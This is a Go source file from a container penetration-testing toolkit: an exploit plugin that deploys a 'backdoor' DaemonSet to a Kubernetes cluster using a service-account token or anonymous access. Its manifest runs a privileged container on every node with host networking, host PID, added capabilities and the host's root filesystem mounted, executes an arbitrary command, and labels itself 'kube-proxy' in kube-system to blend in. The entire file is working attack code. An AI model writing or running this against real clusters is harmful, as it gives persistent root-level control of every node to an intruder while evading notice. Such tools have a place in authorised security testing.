//go:build !no_k8s_backdoor_daemonset
// +build !no_k8s_backdoor_daemonset

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package persistence

import (
	"fmt"
	"log"
	"strings"

	"github.com/cdk-team/CDK/pkg/exploit/base"

	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"github.com/hashicorp/go-version"
)

var k8sDaemonsetApi = "/apis/${API_VERSION}/namespaces/kube-system/daemonsets"
var k8sBackdoorDaemonsetJson = `
{
	"apiVersion": "${API_VERSION}",
	"kind": "DaemonSet",
	"metadata": {
		"annotations": {},
		"labels": {
			"k8s-app": "${K8S_APP}"
		},
		"name": "cdk-backdoor-daemonset"
	},
	"spec": {
		"selector": {
			"matchLabels": {
				"k8s-app": "${K8S_APP}"
			}
		},
		"template": {
			"metadata": {
				"labels": {
					"k8s-app": "${K8S_APP}"
				}
			},
			"spec": {
				"containers": [{
					"args": ["/bin/sh", "-c", "${SHELL_CMD}"],
					"image": "${IMAGE}",
					"imagePullPolicy": "IfNotPresent",
					"name": "cdk-backdoor-pod",
					"securityContext": {
						"capabilities": {
							"add": ["NET_ADMIN", "SYS_ADMIN", "SYS_PTRACE", "AUDIT_CONTROL", "MKNOD", "SETFCAP"]
						},
						"privileged": true
					},
					"volumeMounts": [{
						"mountPath": "/host-root",
						"name": "host-volume"
					}]
				}],
				"hostNetwork": true,
				"hostPID": true,
				"restartPolicy": "Always",
				"volumes": [{
					"hostPath": {
						"path": "/"
					},
					"name": "host-volume"
				}]
			}
		}
	}
}
`

func getBackDoorDaemonsetJson(k8sApp string, image string, shellCmd string, apiVersion string) string {
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${K8S_APP}", k8sApp, -1)
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${IMAGE}", image, -1)
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${SHELL_CMD}", shellCmd, -1)
	k8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, "${API_VERSION}", apiVersion, -1)
	return k8sBackdoorDaemonsetJson
}

func getDaemonsetApi(apiVersion string) string {
	k8sDaemonsetApi = strings.Replace(k8sDaemonsetApi, "${API_VERSION}", apiVersion, -1)
	return k8sDaemonsetApi
}

func getApiVersion(serverAddr string) (string, error) {
	serverVersion, err := kubectl.GetServerVersion(serverAddr)
	if err != nil {
		return "", fmt.Errorf("failed to get server version: %v", err)
	}
	// patch for Tencent TKE
	serverVersion = strings.Split(serverVersion, "-")[0]
	v, _ := version.NewVersion(serverVersion)

	var apiVersion string
	// from v1.16 on, use apps/v1 instead of extensions/v1beta1
	constraints, _ := version.NewConstraint(">=v1.16")
	if constraints.Check(v) {
		apiVersion = "apps/v1"
	} else {
		apiVersion = "extensions/v1beta1"
	}
	return apiVersion, nil
}

func DeployBackdoorDaemonset(serverAddr string, tokenPath string, image string, inputArgs string, k8sApp string) bool {
	apiVersion, err := getApiVersion(serverAddr)
	if err != nil {
		fmt.Println(err)
		return false
	}
	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    serverAddr,
		Api:       getDaemonsetApi(apiVersion),
		Method:    "POST",
		PostData:  "",
		Anonymous: false,
	}

	switch tokenPath {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = tokenPath
	}

	log.Printf("trying to deploy daemonset with image:%s to k8s-app:%s", image, k8sApp)
	opts.PostData = getBackDoorDaemonsetJson(k8sApp, image, inputArgs, apiVersion)
	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		fmt.Println(err)
		return false
	}
	log.Println("api-server response:")
	fmt.Println(resp)
	return true
}

// plugin interface
type K8sBackDoorDaemonsetS struct{ base.BaseExploit }

func (p K8sBackDoorDaemonsetS) Desc() string {
	return "deploy image to every node using daemonset, usage: cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image> <cmd>"
}
func (p K8sBackDoorDaemonsetS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 3 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	tokenPath := args[0]
	image := args[1]
	inputArgs := args[2]

	return DeployBackdoorDaemonset(addr, tokenPath, image, inputArgs, "kube-proxy") // use kube-proxy-worker in alibaba cloud
}

func init() {
	exploit := K8sBackDoorDaemonsetS{}
	exploit.ExploitType = "persistence"
	plugin.RegisterExploit("k8s-backdoor-daemonset", exploit)
}
